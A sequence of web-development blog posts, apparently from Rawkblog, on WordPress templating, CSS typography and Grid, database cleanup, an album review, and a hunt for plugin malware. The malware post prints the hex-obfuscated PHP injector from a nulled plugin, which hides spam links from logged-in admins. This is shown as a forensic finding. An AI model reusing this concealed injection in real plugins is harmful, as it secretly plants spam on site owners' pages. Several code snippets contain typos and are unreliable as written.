  the_tags( '<li class="tag-item">', '</li>, <li class="tag-item">', '</li>' );
  endif; ?>

</ul>

Which reminds me we should be checking on the category anyway so we don’t leave this external HTML hanging if one doesn’t exist, so actually let’s write this all out like this:

Just categories:

<?php if( get_the_category() ): 
<ul class="post-categories">
  <li class="category-item">
  <?php the_category( '</li><li class="category-item">' ); ?>
  </li>
</ul>
<?php endif; ?>

Categories and tags:

<?php 
if( get_the_category() ) : 
  <ul class="taxonomies-list">
  <li class="category-item">
    <?php the_category( '</li>, <li class="category-item">' ); ?>
  </li>
   
  <?php 
  // note no ul wrapper here
  the_tags( ', <li class="tag-item">', '</li>, <li class=
tag-item">', '</li>' ); ?>

  </ul>

<?php 
  else: 
  // add ul, remove opening comma
  the_tags( '<ul class="taxonomies-list"><li class="tag-item">', '</li>, <li class="tag-item">', '</li></ul>' );
  endif;
?>

Which all prints as something like:

<ul class="taxonomies-list">
  <li class="category-item">
    <a href="#">Category</a>, 
  </li>
  <li class="tag-item">
    <a href="#">Tag</a>
  </li>
</ul>

There, that’s much better.

The post Styling WordPress categories first appeared on Rawkblog.

/* Here's some good code */
@media screen and (min-width: 16px) {
  body {
	font-size: 1rem;
  }
}

And less like:

/* Here's some good code */
@media screen and (min-width: 16px) {
  body {
	font-size: 1rem;
  }
}

I’ve been taking code notes and doing most of my writing in Ulysses, a terrific text editing app. Last week I received the beta for its upcoming release, Ulysses 13, which will include improved support for code blocks—namely, its code formatting in Markdown is being brought into line with GitHub-style Markdown. This is awesome for using Ulysses to take code notes and write GitHub gists or manage Readme files, but I discovered it comes with another benefit: if you copy-paste your Ulysses code block as HTML, then you’ll get a ton of span classes automatically generated for syntax highlighting.

So instead of employing a JavaScript library or a WordPress plugin to do this, you can just write your article or code in Ulysses, copy the whole thing as HTML and paste it into the WordPress text (but not Visual, or rich text) editor to get the HTML side right. And then all you need to do is add your colors to your WordPress theme or website CSS.

I might change these, but for now I’m using GitHub’s colors and font-family, so Rawkblog code posts should look very familiar.

.code-highlighted {
  font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace; /* GitHub font stack */
}

.syntax-tag, 
.syntax-entity {
  color: #22863a; /* green */
}

.syntax-keyword { 
  color: #d73a49; /* red */
}

.syntax-constant {
  color: #005cc5; /* blue */
}

.syntax-comment {
  color: #6a737d; /* grey */
}

What still needs work

Ulysses has support for tagging the code I usually write—HTML, CSS, and PHP—but not yet for Sass, which means Sass variables and so on are going to look a little funky, and the span tags for those will need a hand-edit to get the colors right. Still, for every day use, I’m really excited about this, and looking forward to making my code here look more readable and familiar.

As this new version of Ulysses is still in Beta, I’ll be sending the team a note to add Sass support. Keep an eye out for Ulysses 13 to land in the coming weeks.

Update, June 2018: Ulysses 13 has been released and has support for Sass! Ulysses has also published its guide to code blocks. Happy highlighting.

You can purchase/subscribe to the Ulysses app on ulyssesapp.com.

The post Add GitHub-style syntax highlighting to your website with Ulysses 13 and CSS first appeared on Rawkblog.

With help from modern CSS tools, we don't even have to do any math. Here, I'll look at how to do this simply with CSS variables, with the Sass pre-processor, and by pairing the two to support older browsers.

First we need a ratio. The Modular Scale website is a terrific resource to get a visual idea of what different type scales look like. Let's say we like the perfect fourth (3 to 4, or the ratio number 1.333). Let's set that up with CSS variables.

:root {
  --font-size: 1rem; /* 16px */
  --ratio: 1.333;
}

Using the relative 1rem as a baseline means we can set our document base with font-size: 100%; in our :root or html element and use media queries and even a fluid typography calculation to change all font sizes, together.

Now we'll set our type sizes, moving up the scale. Here's the fun part where we don't have to do any math. You can use whatever naming conventions you want for this: some people like f1, f2, etc. as a shorthand for "font," others might want to use the familiar h1, h2, etc. I'll use h1 and set up four sizes. We'll add this to the :root pseudo-class:

  --h4: calc(var(--font-size) * var(--ratio));
  --h3: calc(var(--h4) * var(--ratio));
  --h2: calc(var(--h3) * var(--ratio));
  --h1: calc(var(--h2) * var(--ratio));

See what we did there? Each heading size goes up one mark on the scale. If you'd like to jump two levels and need more sizes, start down at h6 or h8 or change the math to add more ratio multipliers.

So now we have:

:root {
  --font-size: 100%; /* 16px */
  --ratio: 1.333;

/* Calculate values */
  --h4: calc(var(--font-size) * var(--ratio));
  --h3: calc(var(--h4) * var(--ratio));
  --h2: calc(var(--h3) * var(--ratio));
  --h1: calc(var(--h2) * var(--ratio));
}

And we can set our text sizes:

p {
  font-size: var(--font-size);
}

h4 {
  font-size: var(--h4);
}

h3 {
  font-size: var(--h3);
}

h2 {
  font-size: var(--h2);
}

h1 {
  font-size: var(--h1);
}

By picking just two numbers, font size and ratio, we've set a beautiful modular scale for all the type on our website.

The modular scale in Sass

Do we need to use CSS variables? Can't we do this in Sass?

We sure can:

$font-size: 100%;
$ratio: 1.333;

/* Calculate values */
$h4: $font-size * $ratio;
$h3: $h4 * $ratio;
$h2: $h3 * $ratio;
$h1: $h2 * $ratio;

p {
  font-size: $font-size;
}

h4 {
  font-size: $h4;
}

h3 {
  font-size: $h3;
}

h2 {
  font-size: $h2;
}

h1 {
  font-size: $h1;
}

For a single scale, the Sass method is actually superior. It uses fewer lines of code, will render a bit more quickly in a browser (CSS variables are slower performers than hard values), and is compatible everywhere because it just uses font-size: CSS variables won't work in any version of Internet Explorer and are only up to 87% browser compatibility overall, according to Can I Use. (This is up from 77% last time I checked, and up to 96% of U.S. mobile users, so compatibility may be a minor issue unless you specifically need to support Internet Explorer and Opera Mini.)

But as Zell Liew points out in his post on Responsive Modular Scale, it's hard to make a single ratio work between mobile/smaller and desktop/larger screens. Smaller screens need more uniform text and larger screens need a more dynamic ratio for effective design. He offers several ways to go about this: use a smaller ratio, add a second base number to your scale, add a second ratio, or change the ratio at different breakpoints.

I'll add one more option, which is: use the same ratio, but change the steps between sizes at different devices. As Drew Powers notes, Medium.com uses a clever method here: Step 1 and 3 for subheadings and headings on mobile, Step 2 and 4 on desktop.

If all we want to do is change the steps, we can do it cleanly in Sass with a media query.

First let's add a few more sizes to have some range.

$font-size: 100%;
$ratio: 1.333;

/* Calculate values */
$h6: $font-size * $ratio;
$h5: $h6 * $ratio;
$h4: $h5 * ratio;
$h3: $h4 * $ratio;
$h2: $h3 * $ratio;
$h1: $h2 * $ratio;

p {
  font-size: $font-size;
}

/* note the smaller sizes for mobile */
h4 {
  font-size: $h6;
}

h3 {
  font-size: $h5;
}

h2 {
  font-size: $h4;
}

h1 {
  font-size: $h3;
}

/* Bring everything up two steps for larger screens */
@media (min-width: 40em) {
  h4 {
  font-size: $h4;
  }

  h3 {
  font-size: $h3;
  }

  h2 {
  font-size: $h2;
  }

  h1 {
  font-size: $h1;
  }
}

But personally, I find switching ratios between smaller and larger screens (or between vertical and horizontal displays) is the most effective, and saves us the bother of keeping track of multiple heading sizes and which one goes where.

CSS variables and multiple ratios

This is where CSS variables are magic. Going back to our original example, we'll add a second ratio variable, --ratio-alt. Everything else stays the same.

:root {
  --font-size: 100%;
  --ratio: 1.333;
  --ratio-alt: 1.68; /* the golden ratio */

/* Calculate values */
  --h4: calc(var(--font-size) * var(--ratio));
  --h3: calc(var(--h4) * var(--ratio));
  --h2: calc(var(--h3) * var(--ratio));
  --h1: calc(var(--h2) * var(--ratio));
}

p {
  font-size: var(--font-size);
}

h4 {
  font-size: var(--h4);
}

h3 {
  font-size: var(--h3);
}

h2 {
  font-size: var(--h2);
}

h1 {
  font-size: var(--h1);
}

All we have to do is add a quick media query.

@media (min-width: 40em) {
  :root {
    --ratio: --ratio-alt;
  }
}

This is where CSS variables beat Sass variables: because the Sass values have already been processed and printed to the stylesheet, they can't be dynamically changed with a media query. CSS variables, being real variables and not processed ones, can change the entire document with a single declaration. This is an incredible super-power.

CSS variables and Sass together

But now we're back to CSS variables and browser compatibility, if we still want to support Internet Explorer. (Sigh.) Luckily, we can pair Sass variables with CSS ones and write a few quick fallbacks without—still—having to do any math or anything particularly tricky.

/* Start with Sass to set all numbers for the stylesheet */

$font-size: 100%;
$ratio: 1.333;
$ratio-alt: 1.68; 

/* that's all our numbers! */

/* Do math: */
$h4: $font-size * $ratio;
$h3: $h4 * $ratio;
$h2: $h3 * $ratio;
$h1: $h2 * $ratio;

/* Set the alternative ratio */
$h4-alt: $font-size * $ratio-alt;
$h3-alt: $h4-alt * $ratio-alt;
$h2-alt: $h3-alt * $ratio-alt;
$h1-alt: $h2-alt * $ratio-alt;

/* use interpolated Sass variables to set the CSS variables */
:root {
  --font-size: #{$font-size};
  --ratio: #{$ratio};
  --ratio-large: #{$ratio-large};

/* More math - has to be actual variables for the media query to work */
  --h4: calc(var(--font-size) * var(--ratio));
  --h3: calc(var(--h4) * var(--ratio));
  --h2: calc(var(--h3) * var(--ratio));
  --h1: calc(var(--h2) * var(--ratio));
}

p {
  font-size: $font-size; /* IE fallback */
  font-size: var(--font-size);
}

h4 {
  font-size: $h4; /* you get the idea */
  font-size: var(--h4);
}

/* switch to alt ratio */

@media (min-width: 40em) {
  
  /* We're going to override this with the fallbacks */
  :root {
	--ratio: var(--ratio-alt); 
  }
  
  h4 {
  font-size: $h4; 
  /* etc. */
}

A note about this: you could override the fallbacks in the media query by setting up the CSS variables again, like this:

@media (min-width: 40em) {
  
  /* We're going to override this with the fallbacks */
  :root {
	--ratio: var(--ratio-alt); 
  }
  
  h4 {
  font-size: $h4; 
  font-size: var(--h4);
  }
}

But this is silly: it's just extra code, the Sass number will be the same, and we don't need them without the fallbacks anyway. Using the fallbacks in the media query, you also don't need the new :root ratio, either, but I'm leaving it in as a way to future-proof the stylesheet.

Remember, CSS variables are up to 96% coverage in U.S. mobile devices: another way to do this would be to set the media query to cover those devices and drop the fallbacks within the query, like this:

$ratio: 1.68; /* desktop ratio */
$ratio-alt: 1.333; /* mobile ratio */

/* ... math goes here ... */

:root {
  --font-size: #{$font-size};
  --ratio: #{$ratio};
  --ratio-large: #{$ratio-large};

/* use fallbacks for desktop */
p {
  font-size: $font-size; /* IE fallback */
  font-size: var(--font-size);
}

/* use max-width instead of min to target small screens */
@media (max-width: 40em) {
  :root {
	--ratio: var(--ratio-alt); 
  }
  
  /* No fallbacks necessary */  
}

Wrapping up

You're now ready to bring meaningful, dynamic, browser-proofed typography to your websites with the power of CSS and Sass variables and the modular scale. Happy typing!

Mike Riethmuller has a great article in Smashing Magazine about CSS custom properties (variables) vs. Sass and why you might not want to use my approach here, and also discussed it on his own Codepen page.

Give this a try on Codepen.

See the Pen 2 Modular Scale Ratios with CSS Variables with Sass Fallback by David Greenwald (@davidegreenwald) on CodePen.

And read more:

Learn Sass: Just the Easy Stuff
Responsive Modular Scale
Responsive Modular Typography Scales in CSS

The post Modular Scale Typography with CSS Variables and Sass first appeared on Rawkblog.

Every day is Thanksgiving in a music blogger’s inbox — at least as far as how full it gets. But as I’ve noted before, bands who send out their own stuff tend to be a cut above those discovered in corporate e-mails, and I do my best to make time for them. Chapman & Brocker are the latest revelatory act to arrive in my ears this way, and their Dance of the Crazy Man is a debut that by all rights should be sending many a Gmail account reeling.

High praise, I know. But in(box) jokes aside, Dance is a fresh take on the druggy, dreamy pop established by acts like the Flaming Lips and Mercury Rev a decade ago. (Editor’s note: …two decades ago. Awesome.)

The vocals, double-tracked and unaffected, haunt the album like the ghost of Brian Wilson. With its piano bedding and playful ornamentation—horns, a xylophone, keyboard strings, perhaps a mandolin—”Waltz Or Wisdom” is a chilly channeling of the Beach Boys. The Lips’ unfettered silliness aside, this kind of material often fares better when it skews serious, and Chapman & Brocker are at their best on songs such as “Lost Boys of Saint Bollettieri,” an acoustic-driven ballad about the inner angst of young tennis players which I have absolutely listened to 100 times.

It makes for a colorful but gloomy album—a carnivalesque banquet that betters 2008 contemporaries such as Roommate and Surrounded in building a surreal pop swirl.

The post First Look: Chapman & Brocker – “Dance Of The Crazy Man” first appeared on Rawkblog.

Some words to know: Grid can generate vertical columns and horizontal rows. These are bordered and separated by grid lines and both columns and rows can be called grid tracks. Tracks that we write into and define in our layout are called explicit tracks, while columns and rows that Grid will generate automatically based on our content are called implicit tracks. The intersection of a row and column creates a grid cell.

Starting with the display property

display: grid;

What does display: grid affect?

Like Flexbox, Grid begins with a parent container that affects child elements one level deep. An element given the display: grid declaration operates in the HTML flow as an ordinary block-level element, but internally, it is generating columns and rows in order to place these children. An element can only have one display value, so you can’t have an item be both display: flex and display: grid, or be a grid parent and also display: inline-block, for that matter.

Let’s say we want our <body> to be a grid parent:

/* CSS */
body {
  display: grid;
}

<!-- HTML -->
<body>
  <header></header> <!-- This is a grid child -->
  <main> <!-- So is this -->
   <section> 
     <!-- But this is two levels down, 
     so it's not a grid child -->
  </main>
  <footer></footer> <!-- Also a grid child -->
</body>

In the example above, we could use one set of code to define the grid on the header, main, and footer elements, and then add display: grid to make the main element its own grid parent of a new, separate internal grid that would affect the section element.

We can generate as many grids as we want and they don’t effect each other. In the future, we might be able to let element grandchildren see the grid above through “subgrids,” but CSS isn’t there yet.

What does display: grid do to an element?

An element with display: grid and no other grid code will still generate implicit rows and columns: a single column filling the width of the parent container, and rows for each block-level child element. This will display identically to HTML without Grid—unless the container has a set height. Then, the height of the implicit rows will expand to fill the space available.

Using grid-gap as a margin

Before Grid and Flexbox, separating HTML elements using box-model properties such as margin and padding was a lot of work. To properly separate items in a row, you might have to add padding-right to all of them and then set off a second line of code just to remove the padding from the final nth-child. To set bottom margins for text, you can’t use em units without having to account for different font-sizes for headings and paragraphs, which means either using rem units throughout or having to do a lot of math. Same goes for trying to calculate column widths with percent values while keeping track of margins. There is also no such thing as “margin collapse” with grid-gap.

grid-gap solves a lot of problems. It’s actually shorthand for two other properties:

grid-column-gap: [value];
grid-row-gap: [value];

And the shorthand can be given both row and column gap values, rows (think margin-bottom) first:

grid-gap: 10px 20px;

Or one value for both:

grid-gap: 10px;

grid-gap can take any unit value, such as px, em, %, vw, and only appears to separate grid children—that means does not have to be manually removed from the top, bottom, left, or right of child elements because it never appears there.

It draws its em value from the grid parent, which means em can be safely used with grid-row-gap as a replacement for margin-bottom for text content, allowing more flexibility to set different margins for individual page sections based on changing font sizes, instead of being stuck with rem units and needing to write in different numbers to keep up.

grid-gap is a key reason to use Grid over Flexbox for certain layouts—it is quietly one of the biggest headache-solvers in Grid.

So, some use cases:

• Replace margin-bottom for single-column page/text content
• Separate standard layout items like navigation, main, and footer without multiple padding or margin values
• Photo galleries

Again, we don’t even need to declare any columns or rows to take advantage of this: we can use grid-gap for bottom margins just by using it with display: grid.

grid-gap issues

Because grid-gap abstracts away the calculations it takes to add up to 100% of the size of the grid parent, it doesn’t play nicely if you take up that space with % units.

For instance, a grid with grid-gap: 10px and two 50%-wide columns is not going to equal 100%: it will be 100% plus 10px, and will overflow the grid-parent.

It’s best not to use percentages in grid layouts. Instead, Grid introduces a new length unit, fr: a fractional unit. 1fr will occupy any available space in the row or column—it operates like % but in a way compatible with grid-gap without requiring any calc() fussiness. We can also use auto as a value, which is similar but different in an important way.

Auto and fr in Grid

Creating columns in Grid is as simple as writing out the width of each column we want in a grid-template, like this:

body {
  display: grid;
  grid-template-columns: 100px 100px 1fr;
  grid-gap: 10px;

This gives us two 100px-wide columns and one fractional column, which will take up 100% of the remaining space, after accounting for 20 pixels of grid-gap.

body {
  display: grid;
  grid-template-columns: 1fr 1fr;

Now we have two fractional columns, and a total fractional value of 2: thus, each one is going to split 1/2 of the remaining space.

body {
  display: grid;
  grid-template-columns: 2fr 1fr;

Now we have a fractional total of 3, so the first column has a value of 2/3, and the second has a value of 1/3, or 33.33%. Look, Ma, no calc!

In a declaration without fr units, auto will operate identically to 1fr.

body {
  display: grid;
  grid-template-columns: 100px auto;

A 100px column and a column filling the rest of the width.

body {
  display: grid;
  grid-template-columns: auto auto;

Two 50%-wide columns.

Both fr and auto have a minimum width of the length of their content: if space is available, they will take it, if no extra space is available, they will shrink to their content width.

Unlike percentages, auto and fr values can be expanded based on the size of their internal content.

body {
  display: grid;
  grid-template-columns: 1fr 1f 1fr;
  /* or */
  grid-template-columns: auto auto auto;

…is not the same as grid-template-columns: 33% 33% 33%; because a, let’s say, 1200px wide image will expand one of the columns past the expected 1/3 fraction. This can have unexpected results, depending on the size, even pushing out the horizontal width of your whole page for a large column item.

That’s because fractional and auto grid values check their child element sizes first, and then size accordingly, whereas a fixed-width image in a 33% column would collapse past the width boundary instead and run into the next grid column.

To keep things divided up as intended, we can account for this as we would with percent-based columns by setting a max-width: 100% on images or other objects that come with their own fixed width.

Auto and fr together

When fr and auto are used together, fr “wins” the fight for remaining space and auto loses its width value, shrinking down to the min-width of its element content.

body {
  display: grid;
  grid-template-columns: auto 1fr 2fr;

The first column auto-sizes to the natural width of its element and the remain space is divided into 1/3 and 2/3.

This combination is perfect for sidebars or elements of unknown size that don’t need a particular amount of column or row room. It also enables us to create sticky footers, a la Flexbox:

/* CSS */
body {
  height: 100vh;
  display: grid;
  grid-template-rows: auto 1fr auto;

<!-- HTML -->
<body> 
  <header> <!-- auto-sizes to natural height -->
  <main> <!-- 1fr takes up remaining 100vh of screen height -->
  <footer> <!-- auto-sizes to natural height -->
</body>

The advantage of doing it this way is we’re essentially setting flex-grow on the main section without having to add code in two places. We do still have to set a 100% or 100vh height for the screen for the rows to occupy.

Learn more Grid

This is just scratching the surface on what Grid can do. I would heartily recommend the following resources to keep going:

Layout Land: Basics of CSS Grid: The Big Picture
A terrific, clear introduction to Grid and where it stands in the CSS landscape from Mozilla’s Jen Simmons. I would recommend watching all of her videos on the Layout Land channel, especially her series on “resilient CSS” and how Grid and Flexbox can be used in tandem with older, more compatible code to create a good experience on all browsers.

Scrimba: Learn CSS Grid for Free
Scrimba is a new screencasting platform that lets you pause the video and interact with the code, live, in the video screen as if it were a text editor. It is honestly mind-blowing. This course is quick and very good.

Grid.io: Wes Bos’ free CSS Grid course
A thorough course that’s organized nicely and goes deep into what grid is capable of. Worth the time.

The post CSS Grid: Understanding grid-gap and fr vs. auto units first appeared on Rawkblog.

These sites have been recently flagged by Wordfence’s blacklist (so don’t click them!), but Wordfence couldn’t detect the source, so I had to find it.

Here was the bad code:

<div style="display:none"><a href="http://dlwordpress.com/">Free WordPress Themes</a>, <a href="https://dlandroid24.com/">Free Android Games</a></div>

From its placement on the site, I was able to figure out it was being sent via WordPress’s wp_footer(), which meant it wasn’t a theme issue but likely coming from a plugin.

A Google search for “dlwordpress hack” confirmed others had had this issue—that a site trafficking in “nulled” plugins borrowed from their original creators was modifying them with malware. The Stack Overflow discussion suggested a couple of tricks that were hiding it: the code would only show up conditionally for non-logged in users, making it harder for site owners/developers to notice, and the code itself was hiding its links behind hexadecimal code in the backend. This is why Wordfence was able to spot the link in the cache but not the plugin code.

At that point I logged into the server with SSH and started doing grep searches. There were no results for the sorry_function that the spammers had previously shipped out: perhaps they changed it after being outed on Stack Overflow.

I was stumped. So I searched the whole HTML spam result in Google instead, which led me to a page on Sucuri’s invaluable Hex Decoder tool—someone else had run the hidden code through Hex Decoder and got the links being published on my site, leaving the search result public. (Since I knew the code was going up in wp_footer(), add_action('wp_footer()', could’ve been another, if more common, string to search for if the other search had been a dead end.)

But this reverse search gave me back the hex code to search for with grep, and it popped right up in logos-showcase/shortcode-generator.php, line 921, buried at the end of the .php file:

function rankie_linkinfooter() {if ( is_user_logged_in() ) {
} else { 
echo"\x3cd\x69v\x20s\x74\x79le=\"\x64i\x73p\x6c\x61y:\x6e\x6fne\x22>\x3c\x61\x20h\x72ef\x3d\"ht\x74\x70://\x64l\x77ord\x70r\x65\x73\x73.\x63om/\x22\x3eF\x72\x65e\x20\x57o\x72\x64\x50\x72es\x73\x20\x54he\x6d\x65s\x3c/a>, <\x61 \x68re\x66=\x22\x68\x74\x74p\x73://d\x6ca\x6ed\x72o\x69d24.\x63\x6fm/\x22>\x46\x72e\x65\x20\x41n\x64\x72oid G\x61m\x65\x73
?>

This was in version 1.8.4 of Logos Showcase, which is a plugin officially (and presumably spam-free) sold by Code Canyon, and now on version 1.9.

Morals of the story

• Don’t buy or download plugins from off-brand and third-party sites—and pay the full price for pro-grade plugins
• Vet your plugin source code!
• Log out to analyze your site’s integrity
• Scan your site regularly
• Google is your friend

The post How I tracked WordPress spam links to their plugin malware first appeared on Rawkblog.

The Problem with wp_postmeta

The two dangers of the wp_postmeta table are:

• Import leftovers from another CMS like Blogger, Movable Type, etc. I don’t know if import technology has improved since, but on imports from several years ago, these services transferred everything correctly to wp_posts—and then dumped everything, or a lot of things, as a duplicate into wp_postmeta, sometimes multiple times. I just removed 137 megabytes of this from a client’s site and I’m not done digging. If you have ever transferred your site, this is a clean-up you should do immediately.
• Leftovers from deleted or deactivated plugins that didn’t clean up after themselves. This is pretty common. WP-Optimize and other plugins claim they can catch these, but in my experience, clean-up plugins aren’t smart enough to do this properly. No disrespect—it’s a complicated task that needs human attention. But we can make it easier.

Good database habits: prevention first

Every WordPress site should do this sort of scan at least once, but both of these are problems facing older sites. Newer plugins should do a better job of cleaning up after themselves. However, the default of many plugins is to leave everything when you delete the plugin unless you check a settings box confirming you want it to take all its data with it. (WordFence is one of these.) So make sure you go through every settings screen to take care of this.

If you have the time and expertise, I would even test every plugin you want use on a sample site to see if it’s leave-no-trace or not. Or look at the code to check.

It’s going to be a lot faster to do this upfront than spend hours a few years from now trying to figure out if aiosp_description is something you’re still using on 3,000 posts.

What’s in the wp_postmeta table?

wp_postmeta is a standard WordPress meta table, so it comes with a unique ID for the row, the ID of the post the row is attached to, and meta_key and meta_value pairs that actually add the metadata to posts, pages, and attachments.

meta_key rows come with a leading underscore (for secret/default settings) and no underscore (for user-accessible settings in the admin dashboard), so we need to search for both.

WordPress and plugins might add meta_key rows with multiple different values attached to the prefix. i.e. the All-In-One SEO plugin adds (or used to add) individual metadata key-value pairs like this:

• aiosp_description
• aiosp_edit
• aiosp_keywords
• aiosp_title

(Yoast used to do this and now adds its own table to mirror the wp_posts table instead).

So our first step is to isolate the prefixes and then we can do individual searches to further break them down. We want to know how many rows they occupy and how much hard drive space, too.

We’ll be doing this from the command line after logging into mysql, or you can also perform these operations from your database with phpMyAdmin.

We’ll do this with a pair of queries—if there’s a more efficient way, email me!

The first query uses a SUBSTRING_INDEX with an underscore delimiter and a position of 1 to return the string of the meta_key value that appears before the first underscore. In other words, it will return all prefixes with no leading underscore. But it also returns all rows with a leading underscore as a blank, so we can filter those out with the WHERE clause.

The second query returns the prefix from only rows with a leading underscore, ensured by another WHERE clause.

Let’s build the first query:

SELECT SUBSTRING_INDEX(meta_key, '_', 1) AS `Meta`
     FROM wp_postmeta
     WHERE meta_key NOT LIKE '\_%';

We probably want to do this with a row count and in order.

SELECT SUBSTRING_INDEX(meta_key, '_', 1) AS `Meta`, COUNT(*) AS `Count`
     FROM wp_postmeta
     WHERE meta_key NOT LIKE '\_%'
     GROUP BY `Meta`
     ORDER BY `Count` DESC;

And let’s add the data size of each group of prefixes, too. We’ll get this by summing the length of each column in the table and dividing by 1048567 (1024 x 1024) to get megabyte values from bytes.

SELECT SUBSTRING_INDEX(meta_key, '_', 1) AS `Meta`,
 (SUM(LENGTH(meta_id)+LENGTH(post_id)+LENGTH(meta_key)+LENGTH(meta_value)))/1048567 AS `Size`, COUNT(*) AS `Count`
    FROM wp_postmeta
    WHERE meta_key NOT LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `Size` DESC;

And here’s the second query for prefixes without leading underscores.

-- list and count for prefixes with a leading underscore
SELECT SUBSTRING_INDEX(meta_key, '_', 2) AS `Meta`, '' COUNT(*) AS `Count` 
    FROM wp_postmeta
    WHERE meta_key LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `Count`;

-- list, data size, and count
SELECT SUBSTRING_INDEX(meta_key, '_', 2) AS `Meta`, 
(SUM(LENGTH(meta_id)+LENGTH(post_id)+LENGTH(meta_key)+LENGTH(meta_value)))/1048567 AS `Size`, COUNT(*) AS `Count`
    FROM wp_postmeta
    WHERE meta_key LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `Size` DESC;

You might want to add a LIMIT 5 or so just to get the main prefixes.

Investigating the meta keys

Now we know what’s taking up space. It’s up to you to figure out if this is metadata you’re actually using or if it is plugin or import leftovers. This is the part that plugins can struggle to figure out programmatically.

This is also a good point to back up your database or at least the wp_postmeta table in case you delete something it turns out you needed.

How to investigate:

• Check the prefixes against your current plugins to find obvious orphans
• Do deeper searches on prefixes with many rows to get the full list of keys
• Look for outdated meta keys with a date search

I am no longer using the commenting plugin Disqus on Rawkblog, for instance, so anything here with “disqus” in it is going to be trash. But not everything is going to be this obvious, which is where checking by date, to see which meta keys haven’t been used in a while, can give us some quick clues.

Go over to wp_posts to check your latest post ID. On Rawkblog, I’m up to 15896. If I have a prefix that hasn’t been used since post 4330—and I do, “aktt_notify_twitter”—then it could well be junk. I know for sure this one is, but it could also just be a field that is infrequently used and is still adding info to the post—when in doubt, check the actual posts before deleting anything.

I’m going to walk through ways I tried to do this and get to the best solution at the end.

You can check prefixes one by one to see when they were most recently used. Use your own prefix:

SELECT post_id, meta_key 
    FROM wp_postmeta 
    WHERE meta_key LIKE 'aktt\_%'
    ORDER BY post_id DESC
    LIMIT 1;

This will give you the most recent post_id for the meta key. If it’s 500 posts ago, you may have junk. If you are only checking two or three, this is easy enough. It’s fastest to do these one at a time.

The better way: we can do this even more easily with the SQL MAX function to grab the highest ID number that pairs with the prefix. SQL is amazing.

SELECT MAX(post_id) AS `post_id`, SUBSTRING_INDEX(meta_key, '_', 1) AS `Meta`
FROM wp_postmeta
    WHERE meta_key NOT LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `post_id` DESC;

Looking at Rawkblog, I have a ton of meta data that stops at post No. 15,158.

Looking this up… this post is a NextGen slideshow. I’ve deleted this plugin and am no longer using it. But all the slideshow junk is still in my wp_postmeta! Wow.

See, this is why you look.

Let’s add data and a row count to this to see how much space this is all taking up:

SELECT MAX(post_id) AS `post_id`, SUBSTRING_INDEX(meta_key, '_', 1) AS `Meta`, (SUM(LENGTH(meta_id)+LENGTH(post_id)+LENGTH(meta_key)+LENGTH(meta_value)))/1048567 AS `Size`, COUNT(*) AS `Count`
    FROM wp_postmeta
    WHERE meta_key NOT LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `post_id` DESC;

SELECT MAX(post_id) AS `post_id`, SUBSTRING_INDEX(meta_key, '_', 2) AS `Meta`,
 (SUM(LENGTH(meta_id)+LENGTH(post_id)+LENGTH(meta_key)+LENGTH(meta_value)))/1048567 AS `Size`, COUNT(*) AS `Count`
    FROM wp_postmeta
    WHERE meta_key LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `Size` DESC;

This is really good. But here’s the best way, which adds a JOIN so we can get the dates and not have to look at the other table. Don’t forget to add MAX to the date.

SELECT MAX(t1.post_id) AS `post_id`, MAX(t2.post_date) AS `Date`, SUBSTRING_INDEX(t1.meta_key, '_', 1) AS `Meta`, (SUM(LENGTH(meta_id)+LENGTH(post_id)+LENGTH(meta_key)+LENGTH(meta_value)))/1048567 AS `Size`, COUNT(*) AS `Count`
    FROM wp_postmeta AS t1
    JOIN wp_posts AS t2 
        ON t1.post_id = t2.ID
    WHERE meta_key NOT LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `Date` DESC;

The main offender here for Rawkblog: 2,760 rows for a Disqus plugin I’m no longer using.

Here’s the second query:

SELECT MAX(t1.post_id) AS `post_id`, MAX(t2.post_date) AS `Date`, SUBSTRING_INDEX(t1.meta_key, '_', 2) AS `Meta`, (SUM(LENGTH(meta_id)+LENGTH(post_id)+LENGTH(meta_key)+LENGTH(meta_value)))/1048567 AS `Size`, COUNT(*) AS `Count`
    FROM wp_postmeta AS t1
    JOIN wp_posts AS t2 
        ON t1.post_id = t2.ID
    WHERE meta_key LIKE '\_%'
    GROUP BY `Meta`
    ORDER BY `Date` DESC;

Once you have your list of meta keys that haven’t been used since, say, 2011, check some of those old IDs (or just login to WordPress and look at your posts) and see if this is junk or not. Looking at the meta of a post page should make this pretty clear.

Cleaning the clutter

Here’s the fun part:

DELETE FROM wp_postmeta 
    WHERE meta_key LIKE 'disqus%';

Insert your own meta key.

Delete by the individual meta key or by prefix—do a search first to make sure you don’t delete anything accidentally. Always do a SELECT double-check before a DELETE. If you’ve never done an SQL DELETE, don’t—hire a professional. (I am a professional!)

As always, OPTIMIZE your tables after any deletions to finish the clean-up process.

Wrap-up

In this article, we’ve covered how the wp_postmeta database table gets clogged and a range of ways to explore it to find out how and delete the leftovers for a faster, cleaner WordPress site.

Learn more about WordPress optimization for other tables on my database deep-cleaning GitHub project, and let me know if you need a hand with your site.

The post How to clean up the WordPress wp_postmeta database table first appeared on Rawkblog.

This is exciting news for WordPress devs like me, despite the irony of the administration assaulting net neutrality taking advantage of free, open-source software built to democratize publishing on the open web. But anyway! Exciting! I was curious to see the security measures and tech stack being used by the WhiteHouse.gov developers, so I ran it through WPMU Dev’s WP-Checkup tool and took a look at the source code as well. Here’s what I found:

Security

• User enumeration is blocked
• Folder browsing is blocked
• WordPress version is hidden

This is all good stuff.

The /wp-content and /uploads directory paths haven’t been moved, which means bots can easily attempt to run arbitrary file upload attacks—not a vulnerability in and of itself, but a quick fix to reduce hacking volume. For instance, I can see that the site is running W3 Total Cache, which had exploits discovered in 2016 (since fixed). As this is a recent WordPress installation, I’m sure they’ve updated everything. I will also assume they are using a firewall.

The login page at /wp-admin and /wp-login.php is blocked. My best guess is that means it’s still at that location and protected by IP. As in the previous recommendation, I would move the location as an obscurity measure just for volume purposes—I have to imagine this page is being hit constantly. It’s also possible that the page has been moved and the /wp-admin URL has been blocked additionally, but I doubt it.

Since I can’t see the login page, I will cross my fingers it has two-factor authentication enabled.

Performance

HTML isn’t minified. Sigh.

